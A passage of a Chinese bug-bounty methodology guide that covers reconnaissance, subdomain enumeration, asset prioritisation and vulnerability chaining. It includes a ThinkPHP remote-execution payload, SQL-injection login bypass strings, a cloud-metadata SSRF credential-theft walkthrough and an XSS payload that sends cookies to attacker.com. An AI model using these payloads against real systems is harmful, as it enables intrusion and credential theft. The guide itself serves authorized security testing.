分钟7-9:未授权检测
├── 管理后台直接访问
├── API接口未授权
├── 功能模块未授权
└── 删除Cookie后能否访问
分钟10-12:注入快速检测
├── 所有参数加单引号测试
├── 观察报错信息
├── 时间盲注检测
└── SQLMap快速扫描
分钟13-15:逻辑漏洞探测
├── 注册/登录流程
├── 找回密码流程
├── 参数ID遍历测试
└── 价格/数量篡改测试
产出:快速识别有无低hanging fruit
6.3 深度挖掘关联图
发现一个漏洞 → 关联扩展
信息泄露 → 关联:
├── 泄露的源码中有无硬编码密码?
├── 配置文件中的数据库能否连接?
├── 发现的接口有无其他漏洞?
├── 泄露的用户信息能否用于登录?
└── 组合成更高危漏洞
未授权访问 → 关联:
├── 未授权页面有无敏感信息?
├── 未授权功能有无注入点?
├── 能否通过未授权接口获取更多数据?
├── 能否进行进一步的越权操作?
└── 组合成完整攻击链
越权漏洞 → 关联:
├── 能访问多少用户的数据?
├── 能否提升到管理员权限?
├── 能否修改/删除他人数据?
├── 其他相似接口是否存在同样问题?
└── 批量验证影响范围
SQL注入 → 关联:
├── 能否获取数据库全部数据?
├── 能否获取系统管理员密码?
├── 能否写入webshell?
├── 能否执行系统命令?
└── 组合RCE
---
工具链推荐
信息收集:
├── 子域名:OneForAll, subfinder, amass
├── 端口:nmap, masscan
├── 目录:dirsearch, ffuf, gobuster
└── 指纹:whatweb, wappalyzer
漏洞扫描:
├── 综合:Xray, Nuclei
├── SQL注入:SQLMap
├── Web综合:AWVS, Nessus
└── API:Postman + BurpSuite
手工测试:
├── 代理:BurpSuite
├── 越权:Autorize插件
├── 重放:Repeater
└── 爆破:Intruder
---
SRC全链路漏洞挖掘引擎 v2.0
SRC全链路漏洞挖掘引擎 v2.0
全链路概览
┌─────────────────────────────────────────────────────────────────┐
│ 阶段1 阶段2 阶段3 阶段4 阶段5 │
│ 信息收集 ──→ 子域名收集 ──→ 资产过滤 ──→ 漏洞挖掘 ──→ 组合利用 │
│ │ │ │ │ │ │
│ 广度优先 深度穷举 精准筛选 系统测试 链式攻击 │
│ ↓ ↓ ↓ ↓ ↓ │
│ 目标画像 资产清单 高价值列表 漏洞列表 完整报告 │
└─────────────────────────────────────────────────────────────────┘
---
阶段1:信息收集(Reconnaissance)
1.1 信息收集全景图
信息收集
├── 公司信息
│ ├── 企业架构(母公司、子公司、关联公司)
│ ├── 业务范围(主营业务、新业务线)
│ ├── 技术栈(招聘信息推断)
│ └── 收购历史(可能遗留老系统)
│
├── 域名信息
│ ├── 主域名
│ ├── 备案域名
│ ├── 历史域名
│ └── 关联域名
│
├── IP信息
│ ├── 域名解析IP
│ ├── IP段(ASN)
│ ├── CDN真实IP
│ └── 历史解析IP
│
├── 人员信息
│ ├── 技术负责人(GitHub/博客)
│ ├── 员工邮箱格式
│ └── 社工库信息
│
└── 敏感信息
├── GitHub代码泄露
├── 网盘泄露
├── 文档泄露
└── 历史漏洞
1.2 信息收集关联矩阵
【企业信息关联】
目标公司 → 关联收集:
├── 天眼查/企查查 → 股权结构、子公司、对外投资
├── ICP备案查询 → 备案域名、备案主体
├── 商标查询 → 关联品牌、产品名
├── APP查询(七麦/蝉大师)→ 关联APP
├── 小程序搜索 → 关联小程序
├── 公众号搜索 → 关联公众号
└── 招聘网站 → 技术栈、业务方向
【域名信息关联】
主域名 example.com → 关联收集:
├── WHOIS → 注册邮箱 → 反查其他域名
├── WHOIS → 注册人 → 反查其他域名
├── WHOIS → 注册商 → 同注册商其他域名
├── 备案号 → 同备案号其他域名
├── SSL证书 → 证书中的其他域名
├── DNS记录 → MX/TXT/NS记录中的域名
├── 同IP域名 → 旁站
└── 历史WHOIS → 历史关联域名
【IP信息关联】
发现IP 1.2.3.4 → 关联收集:
├── ASN查询 → IP段范围
├── 反查域名 → 同IP其他域名
├── C段扫描 → 1.2.3.0/24
├── 历史解析 → 曾经解析到此IP的域名
├── 端口扫描 → 开放服务
└── CDN识别 → 尝试获取真实IP
1.3 信息收集工具链
# 企业信息
天眼查/企查查 → 子公司列表
ICP备案查询 → https://beian.miit.gov.cn/
APP查询 → https://www.qimai.cn/
# 域名信息
WHOIS查询:whois example.com
备案反查:站长工具、爱站
SSL证书:https://crt.sh/?q=%.example.com
DNS记录:dig example.com any
# IP信息
ASN查询:https://bgp.he.net/
IP反查:https://site.ip138.com/
C段查询:https://webscan.cc/
# 敏感信息
GitHub:
├── site:github.com "example.com"
├── site:github.com "example" password
├── site:github.com "example" secret
├── site:github.com "example" api_key
└── 工具:GitDorker, truffleHog
Google Dork:
├── site:example.com filetype:pdf
├── site:example.com filetype:xlsx
├── site:example.com inurl:admin
├── site:example.com intitle:登录
└── site:example.com ext:sql|bak|conf
1.4 信息收集产出模板
【目标画像】
公司名称:____________
主域名:____________
备案号:____________
技术栈:____________
关联公司:
├── ____________(子公司)
├── ____________(子公司)
└── ____________(关联公司)
关联域名:
├── ____________(主站)
├── ____________(备案关联)
├── ____________(WHOIS关联)
└── ____________(证书关联)
关联IP段:
├── ____________/24(ASN: ______)
└── ____________/24(ASN: ______)
泄露信息:
├── GitHub: ____________
├── 网盘: ____________
└── 历史漏洞: ____________
---
阶段2:子域名收集(Subdomain Enumeration)
2.1 子域名收集全景图
子域名收集
├── 被动收集(不接触目标)
│ ├── 证书透明度日志(crt.sh)
│ ├── DNS数据集(SecurityTrails, RapidDNS)
│ ├── 搜索引擎(Google, Bing, Fofa, Shodan)
│ ├── 威胁情报(VirusTotal, AlienVault)
│ └── 历史数据(Wayback Machine)
│
├── 主动收集(接触目标)
│ ├── DNS爆破
│ ├── DNS域传送
│ ├── DNS记录查询
│ └── 网页爬取
│
├── 关联发现
│ ├── 同IP子域名
│ ├── JS文件中的子域名
│ ├── 响应头中的子域名
│ └── 跨域配置中的子域名
│
└── 深度挖掘
├── 子域名的子域名
├── 模式推测(dev-api, api-dev, api2)
└── 字典定制
2.2 子域名收集关联矩阵
【被动收集关联】
证书透明度:
├── crt.sh: https://crt.sh/?q=%.example.com
├── censys: https://search.censys.io/
├── google透明度: https://transparencyreport.google.com/
└── 关联:提取所有证书中的域名
DNS数据集:
├── SecurityTrails: https://securitytrails.com/
├── RapidDNS: https://rapiddns.io/
├── DNSDumpster: https://dnsdumpster.com/
├── Hackertarget: https://hackertarget.com/
└── 关联:历史DNS记录、子域名变更
搜索引擎:
├── Google: site:*.example.com -www
├── Bing: site:example.com
├── Fofa: domain="example.com"
├── Shodan: hostname:example.com
├── Hunter: domain.suffix="example.com"
└── ZoomEye: site:example.com
【主动收集关联】
DNS爆破字典关联:
├── 通用字典:常见子域名(www, mail, api, dev...)
├── 行业字典:根据业务定制(pay, order, member...)
├── 技术字典:根据技术栈(jenkins, gitlab, k8s...)
├── 已发现关联:发现api1 → 尝试api2, api3, api-dev
└── 组合字典:前缀+已知子域(dev-api, test-api, api-test)
DNS记录关联:
├── A记录 → 解析IP → 反查域名
├── CNAME记录 → 目标域名 → 可能的接管
├── MX记录 → 邮件域名
├── TXT记录 → SPF/DKIM中的域名
├── NS记录 → DNS服务商
└── 域传送测试 → 获取全部记录
【深度挖掘关联】
发现 api.example.com → 关联推测:
├── 前缀变体:api2, api-v2, api-new, api-old
├── 后缀变体:api-dev, api-test, api-staging, api-prod
├── 环境变体:dev-api, test-api, uat-api, pre-api
├── 内部变体:inner-api, internal-api, private-api
├── 版本变体:v1-api, v2-api, apiv1, apiv2
└── 地区变体:cn-api, us-api, api-cn, api-us
JS文件中的子域名:
├── 爬取所有JS文件
├── 正则提取域名:[a-zA-Z0-9][-a-zA-Z0-9]*\.example\.com
├── 关联:API接口地址、第三方服务
└── 工具:JSFinder, LinkFinder, SubDomainizer
2.3 子域名收集工具链
# 综合工具(推荐)
OneForAll:
└── python oneforall.py --target example.com run
subfinder:
└── subfinder -d example.com -all -o subs.txt
amass:
└── amass enum -d example.com -o amass.txt
# 被动收集
curl "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sort -u
# 主动爆破
dnsx:
└── dnsx -d example.com -w wordlist.txt -o dnsx.txt
gobuster:
└── gobuster dns -d example.com -w wordlist.txt -o gobuster.txt
# JS提取
python JSFinder.py -u https://example.com -d
# 去重整合
cat *.txt | sort -u > all_subs.txt
2.4 子域名收集产出模板
【子域名清单】
总数:____个
按来源分类:
├── 证书透明度:____个
├── DNS数据集:____个
├── 搜索引擎:____个
├── DNS爆破:____个
├── JS提取:____个
└── 关联推测:____个
按类型分类:
├── Web服务:____个
├── API接口:____个
├── 邮件服务:____个
├── 开发测试:____个
├── 管理后台:____个
└── 其他:____个
高价值目标(初筛):
├── admin.example.com(管理后台)
├── api.example.com(API接口)
├── dev.example.com(开发环境)
├── test.example.com(测试环境)
└── gitlab.example.com(代码仓库)
---
阶段3:资产过滤(Asset Filtering)
3.1 资产过滤全景图
资产过滤
├── 存活检测
│ ├── HTTP存活
│ ├── 端口存活
│ └── Ping存活
│
├── 基础信息
│ ├── IP地址
│ ├── 端口服务
│ ├── 响应状态码
│ ├── 响应长度
│ └── 网页标题
│
├── 指纹识别
│ ├── Web框架
│ ├── CMS系统
│ ├── 中间件
│ ├── 操作系统
│ └── WAF识别
│
├── 价值评估
│ ├── 功能价值(登录、支付、API)
│ ├── 数据价值(用户、订单、配置)
│ ├── 防护强度(WAF、CDN)
│ └── 新鲜程度(新上线、老系统)
│
└── 优先排序
├── 高价值 + 低防护 = 优先
├── 开发测试环境 = 优先
├── 边缘系统 = 优先
└── 新上线功能 = 优先
3.2 资产过滤关联矩阵
【存活检测关联】
HTTP探测:
├── httpx -l subs.txt -o alive.txt
├── 关联检测:HTTP和HTTPS都测试
├── 关联检测:常见端口(80,443,8080,8443,8000,8888)
└── 关联检测:非标准端口(来自nmap扫描)
端口扫描关联:
├── 常见Web端口:80,443,8080,8443,8000,8888,9000
├── 管理端口:22,3389,3306,6379,27017
├── 中间件端口:8080(Tomcat),7001(WebLogic),9200(ES)
├── 发现非标准端口 → 关联识别服务
└── 发现数据库端口 → 关联测试未授权
【指纹识别关联】
Web指纹 → 关联漏洞库:
├── ThinkPHP → ThinkPHP RCE漏洞
├── Shiro → Shiro反序列化
├── Spring Boot → Actuator泄露
├── Struts2 → S2系列漏洞
├── Laravel → Debug模式RCE
├── Fastjson → 反序列化漏洞
├── Weblogic → 反序列化漏洞
├── Tomcat → PUT上传、AJP漏洞
├── Nginx → 配置错误
└── WordPress/Drupal → 已知CVE
CMS识别 → 关联漏洞:
├── WordPress → WPScan扫描
├── Drupal → Drupalgeddon
├── Joomla → 已知漏洞
├── Discuz → 已知漏洞
├── DedeCMS → 已知漏洞
└── 帝国CMS → 已知漏洞
【价值评估关联】
高价值特征:
├── 标题包含:管理|后台|admin|系统|平台
├── 标题包含:登录|注册|sign|login
├── 路径包含:/admin|/manage|/system|/api
├── 功能包含:支付|订单|用户|会员
├── 环境标识:dev|test|uat|staging|pre
└── 老旧特征:Copyright 2018|Powered by xxx
低防护特征:
├── 无WAF拦截
├── 详细报错信息
├── 目录可遍历
├── 默认页面
├── 测试环境标识
└── 无HTTPS
3.3 资产过滤工具链
# 存活检测
httpx:
└── httpx -l subs.txt -status-code -title -tech-detect -o httpx.txt
# 端口扫描
nmap:
└── nmap -sT -Pn -p 80,443,8080,8443,8000,8888,9000 -iL alive_ips.txt -oN nmap.txt
masscan:
└── masscan -p 1-65535 --rate 1000 -iL ips.txt -oL masscan.txt
# 指纹识别
EHole:
└── EHole finger -l urls.txt -o ehole.txt
whatweb:
└── whatweb -i urls.txt --log-json=whatweb.json
nuclei(指纹模板):
└── nuclei -l urls.txt -t technologies/ -o tech.txt
# 综合探测
fscan:
└── fscan -hf ips.txt -o fscan.txt
3.4 资产过滤产出模板
【高价值资产清单】
排序:按优先级从高到低
═══════════════════════════════════════════════════════
优先级:⭐⭐⭐⭐⭐(最高)
═══════════════════════════════════════════════════════
1. dev-admin.example.com
├── IP: 1.2.3.4
├── 端口: 80,443
├── 标题: 开发环境管理后台
├── 指纹: ThinkPHP 5.0
├── WAF: 无
└── 理由: 开发环境+管理后台+老版本框架
2. api-test.example.com
├── IP: 1.2.3.5
├── 端口: 8080
├── 标题: API测试平台
├── 指纹: Spring Boot
├── WAF: 无
└── 理由: 测试环境+API+Actuator可能暴露
═══════════════════════════════════════════════════════
优先级:⭐⭐⭐⭐(高)
═══════════════════════════════════════════════════════
3. oa.example.com
...
【资产统计】
总资产:____个
├── 高优先级(⭐⭐⭐⭐⭐):____个
├── 中高优先级(⭐⭐⭐⭐):____个
├── 中优先级(⭐⭐⭐):____个
└── 低优先级(⭐⭐/⭐):____个
指纹分布:
├── ThinkPHP: ____个
├── Spring Boot: ____个
├── PHP原生: ____个
├── Java: ____个
└── 其他: ____个
---
阶段4:漏洞挖掘(Vulnerability Discovery)
4.1 漏洞挖掘优先级矩阵
【按资产优先级分配时间】
⭐⭐⭐⭐⭐资产:深度测试(60%时间)
├── 全漏洞类型覆盖
├── 手工深度测试
├── 逻辑漏洞重点
└── 组合利用尝试
⭐⭐⭐⭐资产:重点测试(25%时间)
├── 高频漏洞覆盖
├── 自动化+手工结合
└── 发现线索深入
⭐⭐⭐资产:快速扫描(10%时间)
├── 自动化扫描为主
├── 明显漏洞检测
└── 发现再深入
⭐⭐/⭐资产:批量扫描(5%时间)
├── 纯自动化
├── 只看高危
└── 批量检测
4.2 漏洞挖掘关联矩阵(按指纹)
【ThinkPHP关联漏洞】
版本识别 → 关联漏洞:
├── 3.x → SQL注入、文件包含
├── 5.0.0-5.0.23 → RCE(s=index/think\app/invokefunction)
├── 5.1.x → RCE
├── 6.x → 反序列化
└── 通用 → 日志泄露(/runtime/log/)
关联测试Payload:
├── /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
├── /runtime/log/202312/01.log
├── /application/database.php
└── /.env
【Spring Boot关联漏洞】
Actuator端点 → 关联测试:
├── /actuator → 端点列表
├── /actuator/env → 环境变量(敏感信息)
├── /actuator/heapdump → 堆转储(可提取密码)
├── /actuator/mappings → 接口列表
├── /actuator/configprops → 配置属性
├── /actuator/jolokia → Jolokia RCE
└── /actuator/gateway/routes → Gateway RCE
Swagger暴露 → 关联测试:
├── /swagger-ui.html
├── /swagger-resources
├── /v2/api-docs
├── /v3/api-docs
└── 发现接口 → 逐个测试
【Shiro关联漏洞】
识别特征:响应头包含 rememberMe=deleteMe
├── Shiro-550:硬编码Key反序列化
├── Shiro-721:Padding Oracle攻击
└── 工具:ShiroExploit, shiro_attack
【其他框架关联】
Fastjson:
├── 识别:JSON参数、响应Content-Type
├── 探测:{"@type":"java.net.Inet4Address","val":"dnslog"}
└── 利用:反序列化RCE
Weblogic:
├── 端口:7001
├── 路径:/console, /wls-wsat
├── 漏洞:CVE-2017-10271, CVE-2019-2725, CVE-2020-14882
└── 工具:WeblogicExploit
Struts2:
├── 识别:.action, .do后缀
├── 漏洞:S2-001到S2-062
└── 工具:Struts2-Scan
4.3 漏洞挖掘关联矩阵(按功能)
【登录功能关联测试】
登录页面 → 关联测试:
├── 弱口令:admin/admin, admin/123456, test/test
├── 万能密码:admin'or'1'='1, admin'--
├── 用户名枚举:根据响应差异判断用户是否存在
├── 验证码:是否可绕过、是否可重用
├── 爆破:是否有频率限制
├── SQL注入:用户名/密码参数
├── 短信轰炸:发送验证码接口
├── 任意用户登录:修改响应包
└── 越权:登录后修改Cookie中的用户标识
【注册功能关联测试】
注册页面 → 关联测试:
├── 任意用户注册:注册已存在用户覆盖
├── 验证码绕过:跳过验证步骤
├── 邀请码绕过:删除邀请码参数
├── 批量注册:接口无限制
├── 参数污染:注册时添加role=admin参数
├── SQL注入:用户名/邮箱/手机号参数
└── XSS:用户名等字段存储型XSS
【找回密码关联测试】
找回密码 → 关联测试:
├── 任意用户重置:修改用户标识参数
├── 验证码爆破:4-6位验证码
├── 验证码绕过:删除验证码参数、修改响应包
├── 凭证泄露:重置链接在响应中
├── 链接可预测:重置token规律
├── 短信轰炸:重复发送无限制
└── 步骤跳跃:直接访问重置密码步骤
【支付功能关联测试】
支付流程 → 关联测试:
├── 金额篡改:price参数改为0.01或负数
├── 数量篡改:num参数改为负数
├── 优惠券重用:并发使用同一优惠券
├── 订单替换:支付时替换为低价订单号
├── 支付绕过:修改支付回调状态
├── 越权支付:支付他人订单
└── 条件竞争:并发下单/支付
【API接口关联测试】
API发现 → 关联测试:
├── 未授权访问:删除Token测试
├── 越权访问:修改用户ID参数
├── SQL注入:所有参数测试
├── 信息泄露:敏感数据返回
├── 批量获取:遍历ID参数
├── 接口枚举:根据命名规律发现更多接口
└── 参数污染:添加额外参数(isAdmin=true)
4.4 自动化+手工结合流程
【第一轮:自动化扫描】
nuclei全量扫描:
└── nuclei -l urls.txt -t nuclei-templates/ -o nuclei_result.txt
xray被动扫描:
└── 配置代理,手工浏览触发扫描
sqlmap批量测试:
└── sqlmap -m urls_with_params.txt --batch --level 3
【第二轮:半自动化测试】
BurpSuite + 插件:
├── Autorize(越权检测)
├── Turbo Intruder(并发测试)
├── HaE(敏感信息高亮)
└── Shiro被动检测
【第三轮:手工深度测试】
针对高价值功能:
├── 业务逻辑梳理
├── 参数逐个测试
├── 多账号对照测试
├── 边界条件测试
└── 组合利用测试
---
阶段5:组合利用(Chain Exploitation)
5.1 组合利用全景图
组合利用
├── 信息泄露 → 进一步利用
│ ├── 源码泄露 → 审计发现更多漏洞
│ ├── 配置泄露 → 数据库/后台密码
│ ├── 凭证泄露 → 登录系统
│ └── 接口泄露 → 发现更多攻击面
│
├── 低危 → 高危提升
│ ├── 信息泄露 + 弱口令 → 后台权限
│ ├── XSS + CSRF → 管理员操作
│ ├── SSRF + 内网服务 → 内网渗透
│ └── 越权 + 敏感操作 → 数据泄露
│
├── 单点 → 横向扩展
│ ├── 一个子域漏洞 → 测试其他子域
│ ├── 一个参数注入 → 测试同类参数
│ ├── 一处越权 → 测试全部接口
│ └── 一个弱口令 → 测试其他系统
│
└── 完整攻击链
├── 信息收集 → 发现入口 → 获取权限 → 横向移动 → 数据获取
└── 提升漏洞等级和赏金
5.2 组合利用关联矩阵
【信息泄露组合利用】
.git泄露 → 组合链:
├── 下载源码(GitHack/GitExtractor)
├── 代码审计 → SQL注入/命令执行/硬编码密码
├── 发现配置文件 → 数据库密码 → 连接数据库
├── 发现后台路径 → 尝试登录
└── 发现API密钥 → 调用云服务
actuator/heapdump → 组合链:
├── 下载heapdump文件
├── 分析提取 → 数据库密码/AK-SK/JWT密钥
├── 数据库密码 → 连接数据库
├── AK-SK → 云服务接管
└── JWT密钥 → 伪造任意用户Token
【低危提升高危】
反射XSS → 组合提升:
├── 构造钓鱼链接
├── 获取管理员Cookie
├── 登录管理后台
└── 后台功能 → 更多漏洞
SSRF → 组合提升:
├── 探测内网服务
├── 访问元数据接口(云服务器)
├── 攻击内网Redis/数据库
├── 读取本地文件
└── 内网其他系统漏洞
普通SQL注入 → 组合提升:
├── 获取管理员密码
├── 登录后台
├── 后台文件上传 → Webshell
└── 或直接写入Webshell
【横向扩展】
发现一处弱口令 → 关联扩展:
├── 同密码测试其他系统
├── 同用户名不同密码组合
├── 密码规律推测(公司名+年份)
└── 测试VPN/邮箱/OA等系统
发现一处越权 → 关联扩展:
├── 同系统其他接口是否存在
├── 其他子系统是否存在
├── 垂直越权尝试
└── 批量利用影响范围
5.3 组合利用实战案例
【案例1:信息泄露到RCE】
发现 → .git泄露
↓
利用 → GitHack下载源码
↓
审计 → 发现database.php包含数据库密码
↓
利用 → 连接数据库成功
↓
发现 → 管理员密码MD5,解密成功
↓
利用 → 登录后台
↓
发现 → 后台有文件上传功能
↓
利用 → 上传Webshell
↓
结果 → RCE
漏洞链:信息泄露 → 数据库访问 → 后台登录 → 文件上传 → RCE
提交:作为完整攻击链提交,定级更高
【案例2:SSRF到云服务接管】
发现 → SSRF漏洞(URL参数可控)
↓
探测 → 访问 http://169.254.169.254/latest/meta-data/
↓
获取 → 云服务器临时凭证(AK/SK/Token)
↓
利用 → 使用凭证访问云服务API
↓
发现 → 可以访问OSS存储桶
↓
获取 → 大量敏感数据
漏洞链:SSRF → 云元数据 → 临时凭证 → 云服务接管
定级:严重
【案例3:XSS到管理员权限】
发现 → 存储型XSS(用户昵称字段)
↓
构造 → <script>document.location='http://attacker.com/cookie?c='+document.cookie</script>
↓
等待 → 管理员查看用户列表触发XSS
↓
获取 → 管理员Cookie
↓
利用 → 替换Cookie访问管理后台
↓
发现 → 后台有更多功能和漏洞
漏洞链:存储XSS → Cookie窃取 → 管理员权限
5.4 漏洞报告优化
【提升漏洞评级的技巧】
信息泄露类:
├── 不只报告"存在.git泄露"
├── 而是"通过.git泄露获取源码,发现硬编码密码,可登录数据库"
└── 证明实际危害
越权类:
├── 不只报告"存在水平越权"
├── 而是"通过越权可访问全部X万用户的敏感信息"
└── 证明影响范围
注入类:
├── 不只报告"存在SQL注入"
├── 而是"通过SQL注入可获取全部用户数据/可写入Webshell"
└── 证明利用深度
【报告模板优化】
标题:[漏洞类型] + [实际危害] + [影响范围]
例:SQL注入导致全站用户数据泄露(影响XX万用户)
内容结构:
├── 漏洞概述(1-2句话说明核心问题)
├── 漏洞URL/参数
├── 复现步骤(清晰、可复现)
├── 漏洞证明(截图/数据脱敏)
├── 实际危害(量化影响)
├── 修复建议
└── 时间线(发现时间)
---
完整工作流检查清单
□ 阶段1:信息收集
□ 企业架构梳理
□ 关联域名收集
□ IP段识别
□ 敏感信息搜索
□ 阶段2:子域名收集
□ 被动收集(证书/DNS数据集/搜索引擎)
□ 主动爆破
□ 关联推测
□ JS提取
□ 阶段3:资产过滤
□ 存活检测
□ 端口扫描
□ 指纹识别
□ 优先级排序
□ 阶段4:漏洞挖掘
□ 自动化扫描
□ 指纹关联漏洞
□ 功能点测试
□ 手工深度测试
□ 阶段5:组合利用
□ 信息泄露深入利用
□ 低危提升高危
□ 横向扩展测试
□ 完整攻击链构建
□ 报告优化提交
子域名分析
子域名收集高级技巧全书
核心理念
普通收集:工具一跑,收工回家
高级收集:多维关联 × 深度递归 × 智能推测 × 持续监控
目标:比别人多发现30%-50%的子域名 = 多30%-50%的攻击面
---
第一章:被动收集高级技巧
1.1 证书透明度深度挖掘
【基础】
crt.sh: https://crt.sh/?q=%.example.com
【高级技巧1:多平台交叉】
平台列表(各有独家数据):
├── https://crt.sh/?q=%.example.com
├── https://censys.io/certificates?q=example.com
├── https://developers.facebook.com/tools/ct/
├── https://google.com/transparencyreport/https/ct/
└── https://ui.ctsearch.entrust.com/ui/ctsearchui
关联技巧:不同平台数据有差异,全部查询后去重
【高级技巧2:通配符证书利用】
发现 *.example.com 证书 → 关联:
├── 该证书可能覆盖大量未公开子域名
├── 查看证书详情中的SAN字段
├── 可能包含:*.api.example.com, *.dev.example.com
└── 递归查询这些通配符域名
【高级技巧3:历史证书挖掘】
crt.sh支持时间过滤:
├── 查看历史证书(可能包含已下线但仍可访问的域名)
├── 对比不同时期证书变化
└── 发现临时上线又下线的测试域名
【高级技巧4:组织名称关联】
证书中包含组织信息 → 关联查询:
├── 查询同一组织签发的所有证书
├── censys: parsed.subject.organization:"Company Name"
└── 可能发现关联公司的域名
1.2 DNS数据集深度挖掘
【多平台交叉查询】
免费平台:
├── https://securitytrails.com/domain/example.com/dns
├── https://rapiddns.io/subdomain/example.com
├── https://dnsdumpster.com/
├── https://hackertarget.com/find-dns-host-records/
├── https://www.virustotal.com/gui/domain/example.com/relations
├── https://otx.alienvault.com/indicator/domain/example.com
├── https://threatcrowd.org/domain.php?domain=example.com
└── https://www.threatminer.org/domain.php?q=example.com
付费/注册平台(数据更全):
├── SecurityTrails(注册免费额度)
├── PassiveTotal/RiskIQ
├── Farsight DNSDB
├── Spyse
└── Shodan
【高级技巧1:历史DNS记录】
SecurityTrails历史DNS:
├── 查看域名历史解析记录
├── 发现曾经存在但现在下线的子域名
├── 这些子域名可能仍然可以访问(DNS未更新但服务还在)
└── 或者可以尝试子域名接管
【高级技巧2:反向DNS查询】
发现IP 1.2.3.4 → 关联:
├── 反查该IP上的所有域名
├── 查询同C段的所有域名
├── 工具:https://viewdns.info/reverseip/
└── 可能发现隐藏的内部域名
【高级技巧3:NS记录关联】
查询目标NS服务器:
├── dig example.com NS
├── 发现 ns1.dnsprovider.com
├── 查询同一NS服务器托管的其他域名
└── 可能发现关联域名
1.3 搜索引擎高级语法
【Google高级语法】
基础:
site:*.example.com -www
高级组合:
├── site:*.example.com -www -site:www.example.com
├── site:example.com inurl:admin
├── site:example.com intitle:登录 OR intitle:后台
├── site:example.com filetype:php inurl:config
├── site:example.com "powered by" OR "版权所有"
└── site:example.com ext:action OR ext:do(Java站点)
关联技巧:
├── 从搜索结果中提取子域名
├── 注意搜索结果中的跳转域名
└── 查看缓存页面(可能包含已下线域名)
【空间搜索引擎】
Fofa:
├── domain="example.com"
├── host=".example.com"
├── cert="example.com"
├── icon_hash="xxx"(通过favicon关联)
└── body="Copyright example"(通过页面内容关联)
Shodan:
├── hostname:example.com
├── ssl.cert.subject.cn:example.com
├── http.html:"example.com"
├── org:"Company Name"
└── asn:ASXXXX(通过ASN关联)
Hunter/鹰图:
├── domain.suffix="example.com"
├── icp.name="公司名称"
├── web.icon="xxx"
└── web.body="特征内容"
ZoomEye:
├── site:example.com
├── hostname:example.com
└── organization:"Company Name"
【高级技巧:Favicon Hash关联】
计算目标站点favicon的hash → 在空间搜索引擎搜索相同hash:
├── 相同favicon可能属于同一组织
├── 可发现隐藏的子域名或关联系统
└── 工具:https://github.com/devanshbatham/FavFreak
Python计算favicon hash:
import mmh3
import requests
import codecs
response = requests.get('https://example.com/favicon.ico')
favicon = codecs.encode(response.content, 'base64')
hash = mmh3.hash(favicon)
print(f'icon_hash="{hash}"')
1.4 代码仓库与泄露数据
【GitHub高级搜索】
基础搜索:
├── "example.com"
├── "api.example.com"
├── org:exampleorg
高级搜索:
├── "example.com" password
├── "example.com" secret
├── "example.com" api_key
├── "example.com" database
├── "example.com" config
├── filename:.env "example.com"
├── filename:config "example.com"
└── extension:yaml "example.com"
关联提取:
├── 从代码中提取域名和URL
├── 发现内部域名(internal.example.com)
├── 发现API域名(api-internal.example.com)
└── 发现配置文件中的域名
工具自动化:
├── GitDorker: 自动化GitHub搜索
├── truffleHog: 扫描敏感信息
├── gitrob: 扫描组织仓库
└── gitleaks: 检测密钥泄露
【其他代码平台】
├── GitLab: site:gitlab.com "example.com"
├── Gitee: site:gitee.com "example.com"
├── Bitbucket: site:bitbucket.org "example.com"
├── SourceForge: site:sourceforge.net "example.com"
└── Pastebin: site:pastebin.com "example.com"
【网盘泄露】
搜索引擎:
├── site:pan.baidu.com "example"
├── site:drive.google.com "example"
├── 凌风云网盘搜索
└── 其他网盘搜索引擎
关联:泄露的文档中可能包含内部域名信息
---
第二章:主动收集高级技巧
2.1 DNS爆破高级策略
【字典优化策略】
层级1:通用字典
├── 常见子域名:www, mail, ftp, admin, test, dev...
├── 来源:SecLists, Assetnote Wordlists
└── 大小:1万-10万条
层级2:行业定制字典
根据目标行业添加:
├── 金融:pay, payment, bank, trade, fund, wealth...
├── 电商:shop, mall, order, cart, goods, item...
├── 教育:edu, learn, course, student, teacher...
├── 医疗:health, medical, doctor, patient, hospital...
└── 游戏:game, play, server, zone, battle...
层级3:技术栈字典
根据识别的技术栈:
├── Java:jenkins, nexus, sonar, gitlab, harbor...
├── 运维:monitor, grafana, prometheus, zabbix, k8s...
├── 数据:hadoop, spark, kafka, redis, mysql, es...
└── 云原生:istio, consul, vault, rancher...
层级4:目标定制字典
根据已发现的子域名规律:
├── 发现 api1 → 生成 api2, api3, api4...
├── 发现 bj-server → 生成 sh-server, gz-server, sz-server...
├── 发现 test-api → 生成 dev-api, uat-api, pre-api...
└── 提取命名规律,批量生成
【字典生成工具】
altdns(排列组合):
└── altdns -i subdomains.txt -o permutations.txt -w words.txt
dnsgen(智能生成):
└── cat subdomains.txt | dnsgen - | massdns -r resolvers.txt -o J
goaltdns:
└── goaltdns -w subdomains.txt -p permutations.txt
【爆破优化策略】
DNS解析器优化:
├── 使用可靠的公共DNS:8.8.8.8, 1.1.1.1, 114.114.114.114
├── 使用大量DNS解析器并行(避免限速)
├── 定期更新有效解析器列表
└── 工具:dnsvalidator 验证解析器
速度与准确性平衡:
├── 首轮快速扫描(低并发,大字典)
├── 二轮验证扫描(确认存活)
└── 三轮深度扫描(针对发现的域名递归)
2.2 递归子域名发现
【多级子域名爆破】
一级子域名:xxx.example.com
二级子域名:xxx.api.example.com
三级子域名:xxx.internal.api.example.com
发现 api.example.com → 关联递归:
├── 对 api.example.com 再次进行子域名爆破
├── 可能发现:v1.api.example.com, v2.api.example.com
├── 继续递归:internal.v1.api.example.com
└── 直到无新发现为止
工具配置:
subfinder -d api.example.com -recursive
amass enum -d example.com -rf resolvers.txt -brute -w wordlist.txt -norecursive false
【自动化递归脚本】
#!/bin/bash
# 递归子域名发现
TARGET=$1
DEPTH=3
WORDLIST="wordlist.txt"
function recursive_enum() {
local domain=$1
local depth=$2
if [ $depth -eq 0 ]; then
return
fi
echo "[*] Enumerating $domain (depth: $depth)"
# 子域名爆破
subfinder -d $domain -silent >> all_subs.txt
dnsx -d $domain -w $WORDLIST -silent >> all_subs.txt
# 获取新发现的子域名
new_subs=$(cat all_subs.txt | sort -u | grep "\\.$domain$")
# 对每个新发现的子域名递归
for sub in $new_subs; do
recursive_enum $sub $((depth-1))
done
}
recursive_enum $TARGET $DEPTH
sort -u all_subs.txt > final_subs.txt
2.3 DNS域传送与配置错误
【DNS域传送测试】
手动测试:
dig @ns1.example.com example.com axfr
批量测试:
for ns in $(dig example.com NS +short); do
echo "Testing $ns"
dig @$ns example.com axfr
done
工具:
dnsenum example.com
dnsrecon -d example.com -t axfr
【DNS配置错误利用】
